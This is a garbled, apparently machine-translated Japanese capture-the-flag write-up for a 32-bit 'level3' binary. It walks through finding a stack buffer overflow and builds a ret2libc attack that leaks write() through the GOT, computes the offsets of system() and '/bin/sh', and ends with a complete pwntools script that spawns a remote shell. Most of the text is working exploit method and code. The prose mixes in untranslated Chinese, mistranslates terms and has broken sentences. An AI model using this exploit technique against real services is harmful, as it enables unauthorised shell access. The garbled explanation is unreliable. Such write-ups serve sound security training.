ダウンロードした後、タイトルの添付ファイルが32ビットの実行可能ファイルレベルであり、32ビットのlibcランタイムライブラリであることがわかりました
次に、checksecを使用して、elfファイルでどの保護が有効になっているかを確認します。次のようになります。
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
実行して効果を確認すると、基本的なプロセスは次のとおりであることがわかりました
Input:
<获取输入>
Hello, World!
それをidaに入れて分解すると、次の結果が得られます
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}
関数vulnerable_functionは引き続き逆アセンブリコードを表示できることがわかりました
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
write(1, "Input:\n", 7u);
return read(0, &buf, 0x100u);
}
前のchecksecを通じて、カナリアがオンになっておらず、readの3番目のパラメーターがbufのサイズより大きいことがわかります。スタックオーバーフローの脆弱性があることがわかります。ファイルを確認し、出力フラグのロジックが見つからないことを確認してから、トピックの目的はシェルを取得することです。
シェルを取得するために最初に頭に浮かぶのは、システムのアドレスを見つけ、vulnerable_function関数のスタックオーバーフローの脆弱性を介して戻りアドレスをシステムのアドレスに変更することです。これにより、プログラムフローが乗っ取られますが、システム関数がプログラムで呼び出されず、「などのようなものはありません。 / bin / sh "string、したがって、添付ファイル内の別のファイルからのみ開始できます。これはランタイムファイルです。私たちの目的は、両方のアドレスを取得することです。
読者は、取得とpltに関する知識を持っていることを前提としています。理解できない場合は、自分で検索して学習するか、それほど厳密ではない観点から、この質問については、次の点のみを覚えておく必要があります。
- gotからライブラリ関数(書き込み関数と読み取り関数)のアドレスを取得します
- それらをpltで呼び出します
- ASLRがシステムで有効になっている場合、ライブラリのロードアドレスは毎回異なるため、ライブラリ関数のアドレスも異なります。
- ASLRはオンになっていますが、ライブラリー関数内の文字列定数と関数の間の相対位置も決定されます
これらの4つのポイントを知っている限り、次のexpは問題ないことを理解してください
libcをchecksecでチェックすると、パイが有効になっていることがわかります。また、最新のオペレーティングシステムでは一般にASLRが有効になっているため、ライブラリ関数は実行するたびに異なる場所に読み込まれますが、上記の4番目のポイントと同じです前述のように、関数間の相対位置が決定されるため、関数の1つの実際のアドレスを知ることができる限り、任意のライブラリ関数のアドレスを計算できます。ここでの目的は、getから書き込み関数のアドレスを取得することです。取得したいのは、システムの相対位置と「/ bin / sh」です。具体的な方法は次のとおりです。
-
まず、書き込みとシステムの相対位置を取得する必要があります。ライブラリファイルは基本的に位置に依存しないelfなので(実行することもできます)、readelfツールを使用して情報を表示できます。readelfには、シンボルを出力するオプション-sがありますテーブル、およびパイプはgrepの2つの関数の位置を見つけるために使用されるツールは、特定のコマンドを組み合わせることができ
readelf -s libc_32.so.6|grep 函数名
、コマンドを二回実行され、関数名は、ライトシステムに置き換えられ、出力に見たwrite@@GLIBC_2.0
とsystem@@GLIBC_2.0
の第2の列書き込みシステムを減算し2番目の列は、相対位置を取得します-0x99a80 -
または、pwntoolsを使用して次のスクリプトを実行し、同じ値を取得できます
from pwn import * elf = ELF(libc_32.so.6 相对于 py 文件的位置) print(hex(elf.symbols['system']-elf.symbols['write']))
理由はポイント1と同じなのでここでは説明しません
-
その後、書き込み位置に対する文字列「/ binに/ SH」を取得するには、ツールの文字列が実行するために使用することができる
strings -at x libc_32.so.6|grep /bin/sh
アドレス文字列が取得され、またはツールROPgadgetの使用して実行することがROPgadget --binary libc_32.so.6 --string "/bin/sh"
、使用2つのツールが、ここで説明されていないコマンドを、GETアドレスに到達したら、書き込みアドレスを減算して、相対位置0x84c6bを取得します
前述のように、getを通じて書き込みのアドレスを取得し、pltを通じて呼び出します。これにより、以前のスタックオーバーフローの脆弱性のペイロードを次のように構築できます。 b'0'*0x8c+p32(elf.plt['write'])+b'0000'+p32(1)+p32(elf.got['write'])+p32(10)
これは、writeを呼び出してそのアドレスを出力します。ここで、p32(1)は、writeの3つのパラメーターで始まります。
しかし、これだけでは不十分です。PIEとASLRがオンになっているため、ライブラリ関数のアドレスは毎回変わるため、次の実行では今回取得したアドレスは意味がありません。そのため、関数アドレスを取得してからプログラムを制御する必要があります。実行フロー、それを読み取りの場所に戻して、別のペイロードを入力してシェルを取得できるようにしますが、実際には、メインに戻ることもできるため、上記のb'0000 'の部分を変更する必要がありp32(elf.symbols['main'])
ます。フォーマットはこんな感じですが、分からなければ他のブログの最後の部分が見れます
この後、我々は通過u32(p.recv()[:4])
[4] P32 U32逆の動作、そのパラメータp.recv()として見ることができ、書き込みのアドレスを得ることができ、出力は最初の4つのバイトがフェッチ、32ビットプログラムなぜなら、アドレスは4バイトを表すだけで十分です
書き込みのアドレスを取得した後、上で計算された相対アドレスに従ってシステムと「/ bin / sh」のアドレスを取得できます。これにより、2番目のペイロードを次のように構築します。
b'0'*0x8c+p32(write_addr-0x99a80)+b'0000'+p32(write_addr+0x84c6b)
、ここでは取得したシェルのみを考慮しているため、戻りアドレスは0000と書き込まれます。
要約すると、expは次のように取得できます。
from pwn import *
p = remote(远程ip, 远程端口)
elf = ELF(level3 相对于 py 文件的位置)
payload = b'0'*0x8c+p32(elf.plt['write'])+p32(elf.symbols['main'])+p32(1)+p32(elf.got['write'])+p32(10)
p.recv()
p.sendline(payload)
write_addr = u32(p.recv()[:4])
payload = b'0'*0x8c+p32(write_addr-0x99a80)+b'0000'+p32(write_addr+0x84c6b)
p.sendline(payload)
p.interactive()
シェルを取得したら、lsコマンドを使用して現在のディレクトリを表示し、フラグファイルを見つけ、catを使用してコンテンツを取得します。